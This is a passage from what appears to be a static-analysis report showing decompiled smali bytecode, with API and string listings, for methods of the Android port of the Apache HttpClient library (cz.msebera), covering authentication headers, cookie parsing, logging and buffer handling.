        26invoke-interface {p0}, Lcz/msebera/android/httpclient/auth/Credentials;->getPassword()Ljava/lang/String;
        27move-result-object v1
        28if-nez v1, :cond_28
        30const-string p0, "null"
        31goto/16 :goto_2c
        32cond_28:
        33invoke-interface {p0}, Lcz/msebera/android/httpclient/auth/Credentials;->getPassword()Ljava/lang/String;
        34move-result-object p0
        35goto_2c:
        36invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        39move-result-object p0
        41invoke-static {p0, p1}, Lcz/msebera/android/httpclient/util/EncodingUtils;->getBytes(Ljava/lang/String;Ljava/lang/String;)[B
        42move-result-object p0
        43const/4 p1, 0x2
        45invoke-static {p0, p1}, Lcz/msebera/android/httpclient/extras/Base64;->encode([BI)[B
        46move-result-object p0
        47new-instance p1, Lcz/msebera/android/httpclient/util/CharArrayBuffer;
        48const/16 v0, 0x20
        50invoke-direct {p1, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;-><init>(I)V
        51if-eqz p2, :cond_4b
        53const-string p2, "Proxy-Authorization"
        55invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        56goto/16 :goto_50
        57cond_4b:
        58const-string p2, "Authorization"
        60invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        61goto_50:
        62const-string p2, ": Basic "
        64invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append(Ljava/lang/String;)V
        65const/4 p2, 0x0
        66array-length v0, p0
        68invoke-virtual {p1, p0, p2, v0}, Lcz/msebera/android/httpclient/util/CharArrayBuffer;->append([BII)V
        69new-instance p0, Lcz/msebera/android/httpclient/message/BufferedHeader;
        71invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/message/BufferedHeader;-><init>(Lcz/msebera/android/httpclient/util/CharArrayBuffer;)V
        72return-object p0
        APIs
        • java.util.Map.get
        • java.lang.String.equals
        • java.lang.Long.valueOf
        • java.lang.String.equals
        • java.lang.Long.valueOf
        • java.lang.String.equals
        • java.lang.Long.valueOf
        • java.lang.String.equals
        • java.lang.Long.valueOf
        Strings
        • http.request-count
        • http.response-count
        • http.received-bytes-count
        • http.sent-bytes-count
        Position Instruction Meta Information
        1iget-object v0, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->metricsCache:Ljava/util/Map;
        2const/4 v1, 0x0
        3if-eqz v0, :cond_c
        5iget-object v0, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->metricsCache:Ljava/util/Map;
        7invoke-interface {v0, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        8move-result-object v0
        9goto/16 :goto_d
        10cond_c: move-object v0, v1
        11goto_d: if-nez v0, :cond_5d
        13const-string v2, "http.request-count"
        15invoke-virtual {v2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        16move-result v2
        17if-eqz v2, :cond_1e
        18iget-wide v0, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->requestCount:J
        20invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
        21move-result-object v0
        22goto/16 :goto_5d
        23cond_1e:
        24const-string v2, "http.response-count"
        26invoke-virtual {v2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        27move-result v2
        28if-eqz v2, :cond_2d
        29iget-wide v0, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->responseCount:J
        31invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
        32move-result-object v0
        33goto/16 :goto_5d
        34cond_2d:
        35const-string v2, "http.received-bytes-count"
        37invoke-virtual {v2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        38move-result v2
        39if-eqz v2, :cond_45
        41iget-object p1, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->inTransportMetric:Lcz/msebera/android/httpclient/io/HttpTransportMetrics;
        42if-eqz p1, :cond_44
        44iget-object p1, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->inTransportMetric:Lcz/msebera/android/httpclient/io/HttpTransportMetrics;
        46invoke-interface {p1}, Lcz/msebera/android/httpclient/io/HttpTransportMetrics;->getBytesTransferred()J
        47move-result-wide v0
        49invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
        50move-result-object p1
        51return-object p1
        52cond_44: return-object v1
        53cond_45:
        54const-string v2, "http.sent-bytes-count"
        56invoke-virtual {v2, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        57move-result p1
        58if-eqz p1, :cond_5d
        60iget-object p1, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->outTransportMetric:Lcz/msebera/android/httpclient/io/HttpTransportMetrics;
        61if-eqz p1, :cond_5c
        63iget-object p1, p0, Lcz/msebera/android/httpclient/impl/HttpConnectionMetricsImpl;->outTransportMetric:Lcz/msebera/android/httpclient/io/HttpTransportMetrics;
        65invoke-interface {p1}, Lcz/msebera/android/httpclient/io/HttpTransportMetrics;->getBytesTransferred()J
        66move-result-wide v0
        68invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
        69move-result-object p1
        70return-object p1
        71cond_5c: return-object v1
        72goto_5d: return-object v0
        Cross References
        APIs
        • java.util.Map.get
        • java.util.Map.keySet
        • java.util.Set.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        • java.lang.String.length
        • java.lang.String.endsWith
        • java.util.Map.get
        Strings
        • Request path
        • *
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/lang/String;",
        4")TT;"
        5}
        6.end annotation
        7monitor-enter p0
        8try_start_1:
        9const-string v0, "Request path"
        11invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        13iget-object v0, p0, Lcz/msebera/android/httpclient/protocol/UriPatternMatcher;->map:Ljava/util/Map;
        15invoke-interface {v0, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        16move-result-object v0
        17if-nez v0, :cond_51
        18const/4 v1, 0x0
        20iget-object v2, p0, Lcz/msebera/android/httpclient/protocol/UriPatternMatcher;->map:Ljava/util/Map;
        22invoke-interface {v2}, Ljava/util/Map;->keySet()Ljava/util/Set;
        23move-result-object v2
        25invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
        26move-result-object v2
        27cond_19:
        28invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
        29move-result v3
        30if-eqz v3, :cond_51
        32invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        33move-result-object v3
        34check-cast v3, Ljava/lang/String;
        36invoke-virtual {p0, v3, p1}, Lcz/msebera/android/httpclient/protocol/UriPatternMatcher;->matchUriRequestPattern(Ljava/lang/String;Ljava/lang/String;)Z
        37move-result v4
        38if-eqz v4, :cond_19
        39if-eqz v1, :cond_49
        41invoke-virtual {v1}, Ljava/lang/String;->length()I
        42move-result v4
        44invoke-virtual {v3}, Ljava/lang/String;->length()I
        45move-result v5
        46if-lt v4, v5, :cond_49
        48invoke-virtual {v1}, Ljava/lang/String;->length()I
        49move-result v4
        51invoke-virtual {v3}, Ljava/lang/String;->length()I
        52move-result v5
        53if-ne v4, v5, :cond_19
        55const-string v4, "*"
        57invoke-virtual {v3, v4}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        58move-result v4
        59if-eqz v4, :cond_19
        60cond_49:
        61iget-object v0, p0, Lcz/msebera/android/httpclient/protocol/UriPatternMatcher;->map:Ljava/util/Map;
        63invoke-interface {v0, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        64move-result-object v0
        65try_end_4f: move-object v1, v3
        66goto/16 :goto_19
        67cond_51: monitor-exit p0
        68return-object v0
        69catchall_53: move-exception p1
        70monitor-exit p0
        71throw p1
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • >>
        Position Instruction Meta Information
        0if-eqz p1, :cond_5d
        2iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        5move-result v0
        6if-eqz v0, :cond_5d
        8iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v1, Ljava/lang/StringBuilder;
        11invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        13invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->getId()Ljava/lang/String;
        14move-result-object v2
        16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18const-string v2, " >> "
        20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        23move-result-object v2
        25invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        26move-result-object v2
        28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        31move-result-object v1
        33invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        35invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        36move-result-object p1
        37array-length v0, p1
        38const/4 v1, 0x0
        39goto_35: if-ge v1, v0, :cond_5d
        40aget-object v2, p1, v1
        42iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        43new-instance v4, Ljava/lang/StringBuilder;
        45invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        47invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->getId()Ljava/lang/String;
        48move-result-object v5
        50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52const-string v5, " >> "
        54invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        57move-result-object v2
        59invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        61invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        62move-result-object v2
        64invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        65add-int/lit8 v1, v1, 0x1
        66goto/16 :goto_35
        67cond_5d: return-void
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • <<
        Position Instruction Meta Information
        0if-eqz p1, :cond_5d
        2iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        4invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        5move-result v0
        6if-eqz v0, :cond_5d
        8iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        9new-instance v1, Ljava/lang/StringBuilder;
        11invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        13invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->getId()Ljava/lang/String;
        14move-result-object v2
        16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        18const-string v2, " << "
        20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        22invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        23move-result-object v2
        25invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        26move-result-object v2
        28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        30invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        31move-result-object v1
        33invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        35invoke-interface {p1}, Lcz/msebera/android/httpclient/HttpResponse;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        36move-result-object p1
        37array-length v0, p1
        38const/4 v1, 0x0
        39goto_35: if-ge v1, v0, :cond_5d
        40aget-object v2, p1, v1
        42iget-object v3, p0, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->headerlog:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        43new-instance v4, Ljava/lang/StringBuilder;
        45invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        47invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/LoggingManagedHttpClientConnection;->getId()Ljava/lang/String;
        48move-result-object v5
        50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52const-string v5, " << "
        54invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        56invoke-virtual {v2}, Ljava/lang/Object;->toString()Ljava/lang/String;
        57move-result-object v2
        59invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        61invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        62move-result-object v2
        64invoke-virtual {v3, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        65add-int/lit8 v1, v1, 0x1
        66goto/16 :goto_35
        67cond_5d: return-void
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Header
        • Cookie origin
        • Set-Cookie2
        • Unrecognized cookie header \'
        • \'
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Lcz/msebera/android/httpclient/Header;",
        4"Lcz/msebera/android/httpclient/cookie/CookieOrigin;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/cookie/Cookie;",
        8">;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        14}
        15.end annotation
        17const-string v0, "Header"
        19invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        21const-string v0, "Cookie origin"
        23invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        26move-result-object v0
        28const-string v1, "Set-Cookie2"
        30invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        31move-result v0
        32if-eqz v0, :cond_23
        34invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        35move-result-object p1
        37invoke-static {p2}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965Spec;->adjustEffectiveHost(Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Lcz/msebera/android/httpclient/cookie/CookieOrigin;
        38move-result-object p2
        40invoke-direct {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/cookie/RFC2965Spec;->createCookies([Lcz/msebera/android/httpclient/HeaderElement;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/util/List;
        41move-result-object p1
        42return-object p1
        43cond_23: new-instance p2, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        44new-instance v0, Ljava/lang/StringBuilder;
        46invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        48const-string v1, "Unrecognized cookie header \'"
        50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        52invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        53move-result-object p1
        55invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57const-string p1, "\'"
        59invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        61invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        62move-result-object p1
        64invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        65throw p2
        Cross References
        APIs
        • java.lang.String.length
        • java.lang.String.endsWith
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.String.startsWith
        • java.lang.String.length
        • java.lang.String.endsWith
        • java.lang.String.length
        • java.lang.String.charAt
        Strings
        • Cookie
        • Cookie origin
        • /
        Position Instruction Meta Information
        1const-string v0, "Cookie"
        3invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        5const-string v0, "Cookie origin"
        7invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        9invoke-virtual {p2}, Lcz/msebera/android/httpclient/cookie/CookieOrigin;->getPath()Ljava/lang/String;
        10move-result-object p2
        12invoke-interface {p1}, Lcz/msebera/android/httpclient/cookie/Cookie;->getPath()Ljava/lang/String;
        13move-result-object p1
        14if-nez p1, :cond_16
        16const-string p1, "/"
        17cond_16:
        18invoke-virtual {p1}, Ljava/lang/String;->length()I
        19move-result v0
        20const/4 v1, 0x0
        21const/4 v2, 0x1
        22if-le v0, v2, :cond_2f
        24const-string v0, "/"
        26invoke-virtual {p1, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        27move-result v0
        28if-eqz v0, :cond_2f
        30invoke-virtual {p1}, Ljava/lang/String;->length()I
        31move-result v0
        32sub-int/2addr v0, v2
        34invoke-virtual {p1, v1, v0}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        35move-result-object p1
        36cond_2f:
        37invoke-virtual {p2, p1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
        38move-result v0
        39if-eqz v0, :cond_56
        41invoke-virtual {p2}, Ljava/lang/String;->length()I
        42move-result v3
        44invoke-virtual {p1}, Ljava/lang/String;->length()I
        45move-result v4
        46if-eq v3, v4, :cond_56
        48const-string v3, "/"
        50invoke-virtual {p1, v3}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
        51move-result v3
        52if-nez v3, :cond_56
        54invoke-virtual {p1}, Ljava/lang/String;->length()I
        55move-result p1
        57invoke-virtual {p2, p1}, Ljava/lang/String;->charAt(I)C
        58move-result p1
        59const/16 p2, 0x2f
        60if-ne p1, p2, :cond_55
        61const/4 v0, 0x1
        62goto/16 :goto_56
        63cond_55: const/4 v0, 0x0
        64goto_56: return v0
        Cross References
        APIs
        • java.lang.Class.forName
        • java.lang.Class.newInstance
        • java.lang.InstantiationException.getMessage
        • java.lang.InstantiationError.<init>
        • java.lang.IllegalAccessException.getMessage
        • java.lang.IllegalAccessError.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IllegalStateException.<init>
        Strings
        • http.connection-manager.factory-class-name
        • Invalid class name:
        Position Instruction Meta Information
        1invoke-static {}, Lcz/msebera/android/httpclient/impl/conn/SchemeRegistryFactory;->createDefault()Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;
        2move-result-object v0
        4invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/client/AbstractHttpClient;->getParams()Lcz/msebera/android/httpclient/params/HttpParams;
        5move-result-object v1
        7const-string v2, "http.connection-manager.factory-class-name"
        9invoke-interface {v1, v2}, Lcz/msebera/android/httpclient/params/HttpParams;->getParameter(Ljava/lang/String;)Ljava/lang/Object;
        10move-result-object v2
        11check-cast v2, Ljava/lang/String;
        12if-eqz v2, :cond_4a
        13try_start_12:
        14invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
        15move-result-object v3
        17invoke-virtual {v3}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
        18move-result-object v3
        19check-cast v3, Lcz/msebera/android/httpclient/conn/ClientConnectionManagerFactory;
        20try_end_1c: goto/16 :goto_4b
        21catch_1d: move-exception v0
        22new-instance v1, Ljava/lang/InstantiationError;
        24invoke-virtual {v0}, Ljava/lang/InstantiationException;->getMessage()Ljava/lang/String;
        25move-result-object v0
        27invoke-direct {v1, v0}, Ljava/lang/InstantiationError;-><init>(Ljava/lang/String;)V
        28throw v1
        29catch_28: move-exception v0
        30new-instance v1, Ljava/lang/IllegalAccessError;
        32invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->getMessage()Ljava/lang/String;
        33move-result-object v0
        35invoke-direct {v1, v0}, Ljava/lang/IllegalAccessError;-><init>(Ljava/lang/String;)V
        36throw v1
        37catch_33: new-instance v0, Ljava/lang/IllegalStateException;
        38new-instance v1, Ljava/lang/StringBuilder;
        40invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        42const-string v3, "Invalid class name: "
        44invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        49move-result-object v1
        51invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
        52throw v0
        53cond_4a: const/4 v3, 0x0
        54goto_4b: if-eqz v3, :cond_52
        56invoke-interface {v3, v1, v0}, Lcz/msebera/android/httpclient/conn/ClientConnectionManagerFactory;->newInstance(Lcz/msebera/android/httpclient/params/HttpParams;Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;)Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        57move-result-object v0
        58goto/16 :goto_58
        59cond_52: new-instance v1, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;
        61invoke-direct {v1, v0}, Lcz/msebera/android/httpclient/impl/conn/BasicClientConnectionManager;-><init>(Lcz/msebera/android/httpclient/conn/scheme/SchemeRegistry;)V
        62move-object v0, v1
        63goto_58: return-object v0
        APIs
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • Header
        • Cookie origin
        • Set-Cookie
        • Unrecognized cookie header \'
        • \'
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Lcz/msebera/android/httpclient/Header;",
        4"Lcz/msebera/android/httpclient/cookie/CookieOrigin;",
        5")",
        6"Ljava/util/List<",
        7"Lcz/msebera/android/httpclient/cookie/Cookie;",
        8">;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        14}
        15.end annotation
        17const-string v0, "Header"
        19invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        21const-string v0, "Cookie origin"
        23invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        25invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getName()Ljava/lang/String;
        26move-result-object v0
        28const-string v1, "Set-Cookie"
        30invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        31move-result v0
        32if-eqz v0, :cond_1f
        34invoke-interface {p1}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        35move-result-object p1
        37invoke-virtual {p0, p1, p2}, Lcz/msebera/android/httpclient/impl/cookie/RFC2109Spec;->parse([Lcz/msebera/android/httpclient/HeaderElement;Lcz/msebera/android/httpclient/cookie/CookieOrigin;)Ljava/util/List;
        38move-result-object p1
        39return-object p1
        40cond_1f: new-instance p2, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        41new-instance v0, Ljava/lang/StringBuilder;
        43invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        45const-string v1, "Unrecognized cookie header \'"
        47invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        49invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
        50move-result-object p1
        52invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        54const-string p1, "\'"
        56invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        59move-result-object p1
        61invoke-direct {p2, p1}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        62throw p2
        Cross References
        APIs
        • java.lang.System.arraycopy
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.IndexOutOfBoundsException.<init>
        Strings
        • off:
        • len:
        • b.length:
        Position Instruction Meta Information
        0if-nez p1, :cond_3
        1return-void
        2cond_3: if-ltz p2, :cond_29
        3array-length v0, p1
        4if-gt p2, v0, :cond_29
        5if-ltz p3, :cond_29
        6add-int v0, p2, p3
        7if-ltz v0, :cond_29
        8array-length v1, p1
        9if-gt v0, v1, :cond_29
        10if-nez p3, :cond_14
        11return-void
        12cond_14: iget v0, p0, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->len:I
        13add-int/2addr v0, p3
        15iget-object v1, p0, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->buffer:[B
        16array-length v1, v1
        17if-le v0, v1, :cond_1f
        19invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->expand(I)V
        20cond_1f:
        21iget-object v1, p0, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->buffer:[B
        22iget v2, p0, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->len:I
        24invoke-static {p1, p2, v1, v2, p3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
        25iput v0, p0, Lcz/msebera/android/httpclient/util/ByteArrayBuffer;->len:I
        26return-void
        27cond_29: new-instance v0, Ljava/lang/IndexOutOfBoundsException;
        28new-instance v1, Ljava/lang/StringBuilder;
        30invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        32const-string v2, "off: "
        34invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        38const-string p2, " len: "
        40invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        42invoke-virtual {v1, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        44const-string p2, " b.length: "
